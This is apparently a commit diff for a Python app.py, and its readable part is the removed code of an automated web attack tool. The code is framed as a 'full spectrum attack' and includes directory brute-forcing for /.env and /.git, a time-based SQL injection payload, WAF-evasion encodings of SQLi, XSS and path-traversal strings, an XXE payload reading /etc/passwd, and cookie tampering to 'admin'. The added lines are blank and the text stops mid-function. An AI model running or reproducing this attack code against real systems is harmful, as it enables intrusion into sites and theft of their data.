Update app.py
Browse files
app.py
CHANGED
|
@@ -3,741 +3,379 @@ import httpx
|
|
| 3 |
import ssl
|
| 4 |
import socket
|
| 5 |
import re
|
| 6 |
-
import
|
| 7 |
-
from collections import defaultdict
|
| 8 |
-
import json
|
| 9 |
import time
|
| 10 |
import pandas as pd
|
| 11 |
-
import gradio as gr
|
| 12 |
import dns.resolver
|
| 13 |
-
from
|
| 14 |
-
import
|
| 15 |
-
import
|
| 16 |
-
|
| 17 |
-
#
|
| 18 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
|
| 20 |
-
# Global configuration for aggression and timeouts
|
| 21 |
-
SCAN_TIMEOUT = 5 # Aggressive timeout for individual network operations
|
| 22 |
-
EXPLOIT_TIMEOUT = 10 # More time for potential exploit delivery and response
|
| 23 |
HTTP_HEADERS = {
|
| 24 |
-
"User-Agent": "
|
| 25 |
-
"Accept": "
|
| 26 |
-
"
|
| 27 |
-
"Connection": "keep-alive",
|
| 28 |
-
"Cache-Control": "no-cache",
|
| 29 |
-
"Pragma": "no-cache"
|
| 30 |
}
|
| 31 |
|
| 32 |
-
# ---
|
| 33 |
-
class
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
if target_port:
|
| 58 |
-
self.target_url_base = f"http://{target_host}:{target_port}"
|
| 59 |
-
if target_port in [80, 8080, 443, 8443]:
|
| 60 |
-
self.target_url_base_https = f"https://{target_host}:{target_port}"
|
| 61 |
-
else:
|
| 62 |
-
self.target_url_base_https = f"https://{target_host}:{target_port}"
|
| 63 |
-
else:
|
| 64 |
-
self.target_url_base_https = f"https://{target_host}"
|
| 65 |
-
|
| 66 |
-
self.is_stealth_mode = stealth_mode
|
| 67 |
-
|
| 68 |
-
async def _log_result(self, phase: str, outcome: Dict[str, str]):
|
| 69 |
-
"""Standardized logging of results."""
|
| 70 |
-
self.results[phase].append(outcome)
|
| 71 |
-
level = outcome['level']
|
| 72 |
-
message = outcome['message']
|
| 73 |
-
detail = outcome['detail']
|
| 74 |
-
|
| 75 |
-
print(f"\n[{phase.upper()}] [{level}] {message} - {self.target_host}{':' + str(self.target_port) if self.target_port else ''}")
|
| 76 |
-
if detail:
|
| 77 |
-
print(f" Detail: {detail}")
|
| 78 |
-
|
| 79 |
-
async def run_full_spectrum_attack(self):
|
| 80 |
-
"""Orchestrates the full reconnaissance and exploitation sequence."""
|
| 81 |
-
print(f"\n{'=================================================='}")
|
| 82 |
-
print(f"[INITIATING FULL SPECTRUM ATTACK on {self.target_host}{':' + str(self.target_port) if self.target_port else ''}]")
|
| 83 |
-
print(f"{'=================================================='}\n")
|
| 84 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 85 |
try:
|
| 86 |
-
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
await self.probe_http_headers()
|
| 90 |
-
await self.dns_enumeration()
|
| 91 |
-
|
| 92 |
-
# 2. Proactive Probing (The Hunt)
|
| 93 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Starting Proactive Probing"))
|
| 94 |
-
await self.directory_bruteforcing()
|
| 95 |
-
await self.time_based_sql_injection_probe()
|
| 96 |
-
await self.waf_evasion_tests()
|
| 97 |
-
|
| 98 |
-
# 3. Active Exploitation (The Punch)
|
| 99 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Starting Active Exploitation"))
|
| 100 |
-
await self.execute_targeted_payloads()
|
| 101 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 102 |
finally:
|
| 103 |
-
# Ensure the HTTP client is closed after the scan to prevent unclosed connection warnings
|
| 104 |
await self.client.aclose()
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
|
| 108 |
-
|
| 109 |
-
|
| 110 |
-
|
| 111 |
-
|
| 112 |
-
|
| 113 |
-
async def probe_tls_ssl(self):
|
| 114 |
-
"""Determines TLS version, supported cipher suites, and performs TLS downgrade attack."""
|
| 115 |
-
context = ssl.create_default_context()
|
| 116 |
-
context.check_hostname = False
|
| 117 |
-
context.verify_mode = ssl.CERT_NONE
|
| 118 |
-
|
| 119 |
-
try:
|
| 120 |
-
sock = socket.create_connection((self.target_host, self.target_port if self.target_port else 443), timeout=SCAN_TIMEOUT)
|
| 121 |
-
ssl_sock = context.wrap_socket(sock, do_handshake_on_connect=True)
|
| 122 |
-
|
| 123 |
-
tls_version = ssl_sock.version()
|
| 124 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"TLS/SSL Version: {tls_version}"))
|
| 125 |
|
| 126 |
-
|
| 127 |
-
if
|
| 128 |
-
|
| 129 |
-
|
| 130 |
-
|
| 131 |
-
|
| 132 |
-
|
| 133 |
-
|
| 134 |
-
|
| 135 |
-
|
| 136 |
-
|
| 137 |
-
|
| 138 |
-
|
| 139 |
-
|
| 140 |
-
|
| 141 |
-
|
| 142 |
-
|
| 143 |
-
|
| 144 |
-
|
| 145 |
-
|
| 146 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 147 |
|
| 148 |
-
async def attempt_tls_downgrade(self, ssl_sock: ssl.SSLSocket):
|
| 149 |
-
"""Runs a quick test to see if the target responds differently to a forced weak TLS."""
|
| 150 |
try:
|
| 151 |
-
|
| 152 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 153 |
|
| 154 |
-
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
f"Target served response via forced TLSv1.x handshake. Potential downgrade attack vector found."
|
| 159 |
-
f" Status Code: {response_bytes.status_code}"))
|
| 160 |
|
| 161 |
-
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
async def probe_http_headers(self):
|
| 165 |
-
"""Extracts and analyzes X-Powered-By, Server header, and inspects Set-Cookie attributes."""
|
| 166 |
-
urls_to_test = [self.target_url_base_https, self.target_url_base]
|
| 167 |
-
|
| 168 |
-
for url_base in list(set(urls_to_test)):
|
| 169 |
-
if not url_base: # Skip None values
|
| 170 |
-
continue
|
| 171 |
-
try:
|
| 172 |
-
response = await self.client.get(url_base, timeout=SCAN_TIMEOUT)
|
| 173 |
-
headers = response.headers
|
| 174 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"HTTP Headers for {url_base}:", f"Status: {response.status_code}"))
|
| 175 |
-
|
| 176 |
-
# X-Powered-By
|
| 177 |
-
x_powered_by = headers.get("X-Powered-By")
|
| 178 |
-
if x_powered_by:
|
| 179 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "X-Powered-By Detected", x_powered_by))
|
| 180 |
-
if "PHP" in x_powered_by:
|
| 181 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "PHP detected.", "Ready for PHP Unserialize/FI payloads."))
|
| 182 |
-
if "ASP.NET" in x_powered_by:
|
| 183 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "ASP.NET detected.", "Ready for .NET specific payloads."))
|
| 184 |
-
|
| 185 |
-
# Server Header
|
| 186 |
-
server_header = headers.get("Server")
|
| 187 |
-
if server_header:
|
| 188 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Server Header Detected", server_header))
|
| 189 |
-
if "nginx" in server_header.lower():
|
| 190 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Nginx server detected.", "Ready for XXE and Header Injection payloads."))
|
| 191 |
-
elif "apache" in server_header.lower():
|
| 192 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "Apache HTTP Server detected.", "Ready for dynamic Path Traversal payloads."))
|
| 193 |
-
|
| 194 |
-
# Set-Cookie Attributes
|
| 195 |
-
set_cookie_headers = headers.get_list("Set-Cookie")
|
| 196 |
-
for cookie_str in set_cookie_headers:
|
| 197 |
-
parts = [part.strip() for part in cookie_str.split(';') if part.strip()]
|
| 198 |
-
cookie_name = parts[0].split('=')[0]
|
| 199 |
-
cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
|
| 200 |
-
|
| 201 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, f"Cookie Detected: {cookie_name}", f"Value: {cookie_value}"))
|
| 202 |
-
|
| 203 |
-
if "HttpOnly" not in cookie_str:
|
| 204 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.MEDIUM_RISK, "Cookie missing HttpOnly flag", f"Vulnerable to XSS attacks."))
|
| 205 |
-
if "Secure" not in cookie_str and url_base.startswith("https"):
|
| 206 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "Cookie missing Secure flag over HTTPS", "Risk of sniffing."))
|
| 207 |
-
|
| 208 |
-
except httpx.RequestError as e:
|
| 209 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"HTTP request failed for {url_base}", str(e)))
|
| 210 |
-
except Exception as e:
|
| 211 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"Error during HTTP header probing for {url_base}", str(e)))
|
| 212 |
-
|
| 213 |
-
async def dns_enumeration(self):
|
| 214 |
-
"""Queries MX, SPF, and DKIM records to profile the target's email infrastructure."""
|
| 215 |
-
try:
|
| 216 |
-
domain = self.target_host.split(":")[0]
|
| 217 |
-
|
| 218 |
-
# MX Records
|
| 219 |
-
try:
|
| 220 |
-
mx_records = [str(r.exchange) for r in dns.resolver.resolve(domain, 'MX')]
|
| 221 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.INFO, "MX Records Detected:", ", ".join(mx_records)))
|
| 222 |
-
except dns.resolver.NXDOMAIN:
|
| 223 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, "No MX records found."))
|
| 224 |
-
except Exception as e:
|
| 225 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "MX query error", str(e)))
|
| 226 |
-
|
| 227 |
-
# SPF/DKIM
|
| 228 |
-
for record_type, name in [('TXT', 'spf'), ('TXT', 'default._domainkey')]:
|
| 229 |
try:
|
| 230 |
-
|
|
|
|
|
|
|
|
|
|
| 231 |
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
|
| 235 |
-
|
| 236 |
-
except dns.resolver.NXDOMAIN:
|
| 237 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.LOW_RISK, f"No {name} record found."))
|
| 238 |
-
except Exception as e:
|
| 239 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, f"{name} query error", str(e)))
|
| 240 |
-
|
| 241 |
-
except Exception as e:
|
| 242 |
-
await self._log_result("passive_recon", Outcome.format(Outcome.ERROR, "Generic DNS enumeration error", str(e)))
|
| 243 |
-
|
| 244 |
-
|
| 245 |
-
# --- 2. Proactive Probing (The Hunt) ---
|
| 246 |
-
|
| 247 |
-
async def directory_bruteforcing(self):
|
| 248 |
-
"""Aggressively probes common paths to map the attack surface."""
|
| 249 |
-
common_paths = [
|
| 250 |
-
"/admin/", "/panel/", "/login/", "/dashboard/", "/manager/",
|
| 251 |
-
"/phpmyadmin/", "/wp-admin/", "/cpanel/", "/api/", "/v1/",
|
| 252 |
-
"/test/", "/backup/", "/.git/HEAD", "/.env", "/robots.txt", "/sitemap.xml",
|
| 253 |
-
"/administrator/", "/dev/"
|
| 254 |
-
]
|
| 255 |
-
|
| 256 |
-
urls_to_test = [self.target_url_base_https, self.target_url_base]
|
| 257 |
-
|
| 258 |
-
tasks = []
|
| 259 |
-
for url_base in list(set(urls_to_test)):
|
| 260 |
-
if not url_base: # Skip None values
|
| 261 |
-
continue
|
| 262 |
-
for path in common_paths:
|
| 263 |
-
full_url = f"{url_base}{path}"
|
| 264 |
-
tasks.append(self._probe_path(full_url, path))
|
| 265 |
-
|
| 266 |
-
await asyncio.gather(*tasks)
|
| 267 |
-
|
| 268 |
-
async def _probe_path(self, url: str, path_hint: str):
|
| 269 |
-
"""Helper to probe a single path and log the result."""
|
| 270 |
-
try:
|
| 271 |
-
response = await self.client.get(url, timeout=SCAN_TIMEOUT)
|
| 272 |
-
log_level = Outcome.HIGH_RISK if not self.is_stealth_mode else Outcome.INFO
|
| 273 |
-
|
| 274 |
-
if 200 <= response.status_code < 300:
|
| 275 |
-
msg = f"Directory/File Found ({response.status_code})"
|
| 276 |
-
detail = f"URL: {url}, Status: {response.status_code}, Length: {len(response.text)}"
|
| 277 |
-
if "admin" in path_hint.lower() or "panel" in path_hint.lower():
|
| 278 |
-
msg = "Administrative Panel Found"
|
| 279 |
-
elif "api" in path_hint.lower():
|
| 280 |
-
msg = "API Endpoint Found"
|
| 281 |
-
elif self.is_stealth_mode and response.status_code == 200:
|
| 282 |
-
msg = "Path Found (Stealth Check)"
|
| 283 |
-
|
| 284 |
-
await self._log_result("proactive_probing", Outcome.format(log_level, msg, detail))
|
| 285 |
-
return
|
| 286 |
-
elif 300 <= response.status_code < 400:
|
| 287 |
-
await self._log_result("proactive_probing", Outcome.format(log_level, f"Redirection Found ({response.status_code}): {path_hint}", f"URL: {url}, Redirect: {response.headers.get('Location')}"))
|
| 288 |
-
elif response.status_code in [401, 403]:
|
| 289 |
-
await self._log_result("proactive_probing", Outcome.format(log_level, f"Restricted Resource ({response.status_code}): {path_hint}", f"URL: {url}, Status: {response.status_code}"))
|
| 290 |
-
elif response.status_code == 500:
|
| 291 |
-
await self._log_result("proactive_probing", Outcome.format(log_level, f"Server Error (500) on path: {path_hint}", f"URL: {url}, Status: {response.status_code}, Content Snippet: '{response.text[:200]}...'"))
|
| 292 |
-
|
| 293 |
-
except httpx.RequestError as e:
|
| 294 |
-
if not isinstance(e, httpx.HTTPStatusError) or e.response.status_code not in [404, 400]:
|
| 295 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error probing path {url}", str(e)))
|
| 296 |
-
except Exception as e:
|
| 297 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error probing path {url}", str(e)))
|
| 298 |
-
|
| 299 |
-
|
| 300 |
-
async def time_based_sql_injection_probe(self):
|
| 301 |
-
"""Sends high-load requests and measures latency to confirm SQLi vulnerability."""
|
| 302 |
-
injection_points = [
|
| 303 |
-
"/search?q=test",
|
| 304 |
-
"/products?id=1",
|
| 305 |
-
"/news?article_id=1",
|
| 306 |
-
"/user/view?id=5",
|
| 307 |
-
]
|
| 308 |
-
|
| 309 |
-
urls_to_test = [self.target_url_base_https, self.target_url_base]
|
| 310 |
-
base_latency = 0
|
| 311 |
-
|
| 312 |
-
try:
|
| 313 |
-
start_time = time.time()
|
| 314 |
-
await self.client.get(self.target_url_base + "/", timeout=SCAN_TIMEOUT)
|
| 315 |
-
base_latency = time.time() - start_time
|
| 316 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Baseline HTTP latency", f"{base_latency:.3f} seconds"))
|
| 317 |
-
except httpx.RequestError:
|
| 318 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, "Could not establish baseline latency.", "Skipping time-based probe."))
|
| 319 |
-
return
|
| 320 |
-
|
| 321 |
-
tasks = []
|
| 322 |
-
for url_base in list(set(urls_to_test)):
|
| 323 |
-
if not url_base: # Skip None values
|
| 324 |
-
continue
|
| 325 |
-
for endpoint in injection_points:
|
| 326 |
-
tasks.append(self._probe_time_sql_i(url_base, endpoint, base_latency))
|
| 327 |
-
|
| 328 |
-
await asyncio.gather(*tasks)
|
| 329 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.INFO, "Time-Based SQL Injection probing completed."))
|
| 330 |
-
|
| 331 |
-
async def _probe_time_sql_i(self, url_base: str, endpoint: str, base_latency: float):
|
| 332 |
-
payload_sleep = "1' AND (SELECT SUBSTRING((SELECT version()), 1, 1) = '8') AND (SELECT SLEEP(5))--"
|
| 333 |
-
payload_url = f"{url_base}{endpoint}{payload_sleep}"
|
| 334 |
-
|
| 335 |
-
try:
|
| 336 |
-
start_time = time.time()
|
| 337 |
-
response = await self.client.get(payload_url, timeout=EXPLOIT_TIMEOUT)
|
| 338 |
-
latency = time.time() - start_time
|
| 339 |
-
|
| 340 |
-
if latency > base_latency + 3.5:
|
| 341 |
-
extracted_data_check = "8" in response.text
|
| 342 |
-
|
| 343 |
-
msg = "Time-Based SQLi CONFIRMED"
|
| 344 |
-
detail = f"URL: {payload_url}, Latency: {latency:.3f}s (Base: {base_latency:.3f}s). Status: {response.status_code}"
|
| 345 |
-
|
| 346 |
-
if extracted_data_check:
|
| 347 |
-
detail += " | DATA EXTRACTION DETECTED"
|
| 348 |
-
level = Outcome.EXPLOIT_SUCCESS
|
| 349 |
-
else:
|
| 350 |
-
detail += " | TIME DELAY DETECTED"
|
| 351 |
-
level = Outcome.VULNERABILITY_CONFIRMED
|
| 352 |
-
|
| 353 |
-
await self._log_result("proactive_probing", Outcome.format(level, msg, detail))
|
| 354 |
-
|
| 355 |
-
except httpx.TimeoutException:
|
| 356 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, "Time-Based SQLi CONFIRMED (Timeout)", f"URL: {payload_url}. Request timed out (Expected delay)."))
|
| 357 |
-
except httpx.RequestError as e:
|
| 358 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during SQLi probe for {payload_url}", str(e)))
|
| 359 |
-
except Exception as e:
|
| 360 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Unexpected error during SQLi probe for {payload_url}", str(e)))
|
| 361 |
-
|
| 362 |
-
|
| 363 |
-
async def waf_evasion_tests(self):
|
| 364 |
-
"""Tests common payloads across various encoding schemes to find WAF bypasses."""
|
| 365 |
-
test_payloads = ["' OR 1=1--", "UNION SELECT NULL,NULL--", "<script>alert('XSS')</script>", "../../etc/passwd"]
|
| 366 |
-
encoding_strategies = {
|
| 367 |
-
"URL_ENCODING": lambda p: p.replace("'", "%27").replace(" ", "%20"),
|
| 368 |
-
"DOUBLE_URL_ENCODING": lambda p: p.replace('%', '%%').replace("'", "%2527").replace(" ", "%2520"),
|
| 369 |
-
"HTML_ENTITY_ENCODING": lambda p: p.replace("<", "<").replace(">", ">").replace("'", "'")
|
| 370 |
-
}
|
| 371 |
-
target_endpoint = "/search?query="
|
| 372 |
-
urls_to_test = [self.target_url_base_https, self.target_url_base]
|
| 373 |
-
|
| 374 |
-
for url_base in list(set(urls_to_test)):
|
| 375 |
-
if not url_base: # Skip None values
|
| 376 |
-
continue
|
| 377 |
-
for payload_raw in test_payloads:
|
| 378 |
-
for strategy_name in encoding_strategies.keys():
|
| 379 |
-
encoded_payload = encoding_strategies[strategy_name](payload_raw)
|
| 380 |
-
full_url = f"{url_base}{target_endpoint}{encoded_payload}"
|
| 381 |
-
|
| 382 |
-
try:
|
| 383 |
-
response = await self.client.get(full_url, timeout=SCAN_TIMEOUT)
|
| 384 |
-
if response.status_code == 200 and "blocked" not in response.text.lower() and "error" not in response.text.lower():
|
| 385 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.VULNERABILITY_CONFIRMED, f"WAF Evasion SUCCESS! ({strategy_name})",
|
| 386 |
-
f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
|
| 387 |
-
elif 400 <= response.status_code < 500 and ("blocked" in response.text.lower() or response.status_code in [403, 406]):
|
| 388 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.LOW_RISK, f"WAF Blocked Payload ({strategy_name})",
|
| 389 |
-
f"Payload: '{payload_raw[:50]}...', Status: {response.status_code}"))
|
| 390 |
-
except httpx.RequestError as e:
|
| 391 |
-
await self._log_result("proactive_probing", Outcome.format(Outcome.ERROR, f"Error during WAF evasion test with {strategy_name}", str(e)))
|
| 392 |
-
|
| 393 |
-
|
| 394 |
-
# --- 3. Active Exploitation (The Punch) ---
|
| 395 |
-
|
| 396 |
-
async def execute_targeted_payloads(self):
|
| 397 |
-
"""Executes tailored requests based on detected services, prioritizing confidence."""
|
| 398 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Initiating intelligent payload attacks."))
|
| 399 |
-
|
| 400 |
-
server_info = ""
|
| 401 |
-
x_powered_by_info = ""
|
| 402 |
-
cookie_details = []
|
| 403 |
-
|
| 404 |
-
for res in self.results.get("passive_recon", []):
|
| 405 |
-
if res['message'] == "Server Header Detected":
|
| 406 |
-
server_info = res['detail'].lower()
|
| 407 |
-
if res['message'] == "X-Powered-By Detected":
|
| 408 |
-
x_powered_by_info = res['detail'].lower()
|
| 409 |
-
if "Cookie Detected" in res['message']:
|
| 410 |
-
parts = [part.strip() for part in res['detail'].split(': ')[-1].split(';')]
|
| 411 |
-
cookie_name = parts[0].split('=')[0]
|
| 412 |
-
cookie_value = parts[0].split('=', 1)[1] if len(parts[0].split('=')) > 1 else ""
|
| 413 |
-
cookie_details.append({"name": cookie_name, "value": cookie_value})
|
| 414 |
-
|
| 415 |
-
# A. Apache Path Traversal (Dynamic)
|
| 416 |
-
if "apache" in server_info:
|
| 417 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Apache Target: Attempting Dynamic Path Traversal..."))
|
| 418 |
-
|
| 419 |
-
base_path_clean = "/".join(self.target_url_base.split('/')[:-1])
|
| 420 |
-
num_traversals = len(base_path_clean.strip('/')) + 1
|
| 421 |
-
dynamic_path = "../" * num_traversals
|
| 422 |
-
|
| 423 |
-
paths_to_test = [
|
| 424 |
-
f"{dynamic_path}etc/passwd",
|
| 425 |
-
f"{dynamic_path}windows/win.ini",
|
| 426 |
-
f"{dynamic_path}app.js"
|
| 427 |
-
]
|
| 428 |
-
await self._run_exploitation_test(paths_to_test, "Apache Traversal", "Path Traversal")
|
| 429 |
-
|
| 430 |
-
# B. Nginx Exploitation (XXE & Header Injection)
|
| 431 |
-
if "nginx" in server_info:
|
| 432 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx Target: Testing XXE and Header Injection..."))
|
| 433 |
-
await self._run_xxe_test()
|
| 434 |
-
await self._run_header_injection_test()
|
| 435 |
-
|
| 436 |
-
# C. PHP Exploitation (Unserialize/File Inclusion)
|
| 437 |
-
if "php" in x_powered_by_info:
|
| 438 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "PHP Target: Attempting RCE/FI payloads..."))
|
| 439 |
-
|
| 440 |
-
php_paths = [
|
| 441 |
-
"/index.php?data=",
|
| 442 |
-
"/include/config.php"
|
| 443 |
-
]
|
| 444 |
-
await self._run_exploitation_test(php_paths, "PHP Unserialize/FI", "PHP")
|
| 445 |
-
|
| 446 |
-
# D. Cookie Tampering Payload
|
| 447 |
-
if cookie_details:
|
| 448 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Cookie Target: Attempting privilege escalation..."))
|
| 449 |
-
target_cookie_detail = next((c for c in cookie_details if 'user' in c['name'].lower() or 'role' in c['name'].lower()), cookie_details[0])
|
| 450 |
-
|
| 451 |
-
cookie_name = target_cookie_detail['name']
|
| 452 |
-
original_value = target_cookie_detail['value']
|
| 453 |
-
tamper_value = "admin"
|
| 454 |
-
|
| 455 |
-
await self._run_cookie_tampering_test(cookie_name, original_value, tamper_value)
|
| 456 |
-
|
| 457 |
-
# E. C2 Beaconing Payload (Generic)
|
| 458 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Running generic C2 beacon check..."))
|
| 459 |
-
beacon_paths = ["/beacon", "/c2_check", "/login?secret=cobalt"]
|
| 460 |
-
await self._run_exploitation_test(beacon_paths, "C2 Beaconing", "Generic")
|
| 461 |
-
|
| 462 |
|
| 463 |
-
|
| 464 |
-
|
| 465 |
-
|
| 466 |
-
|
| 467 |
-
|
| 468 |
-
|
| 469 |
-
|
| 470 |
-
|
| 471 |
-
|
| 472 |
-
|
| 473 |
-
|
| 474 |
-
|
| 475 |
-
|
| 476 |
-
|
| 477 |
-
|
| 478 |
-
|
| 479 |
-
|
| 480 |
-
|
| 481 |
-
|
| 482 |
-
|
| 483 |
-
|
| 484 |
-
|
| 485 |
-
|
| 486 |
-
|
| 487 |
-
|
| 488 |
-
elif status_code == 200 and ("admin" in content_snippet or "administrator" in content_snippet):
|
| 489 |
-
is_successful = True
|
| 490 |
-
outcome_level = Outcome.HIGH_RISK
|
| 491 |
-
elif status_code == 500 and ("sql syntax" in content_snippet or "unserialize" in content_snippet):
|
| 492 |
-
is_successful = True
|
| 493 |
-
outcome_level = Outcome.HIGH_RISK
|
| 494 |
-
elif 300 <= status_code < 400:
|
| 495 |
-
is_successful = True
|
| 496 |
-
outcome_level = Outcome.MEDIUM_RISK
|
| 497 |
-
|
| 498 |
-
msg = f"{attack_name} Triggered ({attack_type})"
|
| 499 |
-
detail = f"URL: {url}, Status: {status_code}, Snippet: '{content_snippet}'"
|
| 500 |
-
|
| 501 |
-
if is_successful:
|
| 502 |
-
final_msg = f"β
{msg} CONFIRMED!"
|
| 503 |
-
else:
|
| 504 |
-
final_msg = f"π {msg} PROBED"
|
| 505 |
-
|
| 506 |
-
await self._log_result("active_exploitation", Outcome.format(outcome_level, final_msg, detail))
|
| 507 |
|
| 508 |
-
except httpx.RequestError as e:
|
| 509 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, f"Error during {attack_name} attempt on {url}", str(e)))
|
| 510 |
except Exception as e:
|
| 511 |
-
|
| 512 |
-
|
| 513 |
-
|
| 514 |
-
xxe_payload = """
|
| 515 |
-
<!DOCTYPE foo [
|
| 516 |
-
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
| 517 |
-
]>
|
| 518 |
-
<root><data>&xxe;</data></root>
|
| 519 |
-
"""
|
| 520 |
-
target_endpoint = "/api/xml_parser"
|
| 521 |
-
if not target_endpoint in self.target_url_base:
|
| 522 |
-
target_endpoint = "/test_xml"
|
| 523 |
-
|
| 524 |
-
full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
|
| 525 |
-
|
| 526 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx XXE Payload..."))
|
| 527 |
-
|
| 528 |
-
try:
|
| 529 |
-
response = await self.client.post(full_url, data=xxe_payload, timeout=EXPLOIT_TIMEOUT)
|
| 530 |
-
content_snippet = response.text[:150].replace('\n', ' ')
|
| 531 |
-
|
| 532 |
-
if "root:" in content_snippet or "daemon:" in content_snippet or "bin/bash" in content_snippet:
|
| 533 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Nginx XXE CONFIRMED!",
|
| 534 |
-
f"Target reflected /etc/passwd content! Status: {response.status_code}"))
|
| 535 |
-
else:
|
| 536 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Nginx XXE PROBED.",
|
| 537 |
-
f"Status: {response.status_code}. Check for content reflection. Snippet: '{content_snippet}'"))
|
| 538 |
-
|
| 539 |
-
except httpx.RequestError as e:
|
| 540 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during XXE test", str(e)))
|
| 541 |
-
|
| 542 |
-
async def _run_header_injection_test(self):
|
| 543 |
-
injection_payload = "test%27%20UNION%20SELECT%20NULL,NULL,NULL--"
|
| 544 |
-
target_endpoint = "/search?query="
|
| 545 |
-
full_url = self.target_url_base_https if self.target_url_base_https else self.target_url_base + target_endpoint
|
| 546 |
-
|
| 547 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Executing Nginx Header Injection Payload..."))
|
| 548 |
-
|
| 549 |
-
try:
|
| 550 |
-
response = await self.client.get(full_url, timeout=EXPLOIT_TIMEOUT)
|
| 551 |
-
|
| 552 |
-
if "UNION SELECT NULL,NULL,NULL--" in response.text:
|
| 553 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.EXPLOIT_SUCCESS, "Header Injection CONFIRMED!",
|
| 554 |
-
f"Payload reflected in response body! Status: {response.status_code}"))
|
| 555 |
-
else:
|
| 556 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, "Header Injection PROBED.",
|
| 557 |
-
f"Status: {response.status_code}. Check manually for reflection."))
|
| 558 |
-
|
| 559 |
-
except httpx.RequestError as e:
|
| 560 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.ERROR, "Error during Header Injection test", str(e)))
|
| 561 |
-
|
| 562 |
-
async def _run_cookie_tampering_test(self, cookie_name: str, original_value: str, tamper_value: str):
|
| 563 |
-
await self._log_result("active_exploitation", Outcome.format(Outcome.INFO, f"Tampering {cookie_name} from '{original_value}' to '{tamper_value}'..."))
|
| 564 |
-
|
| 565 |
-
try:
|
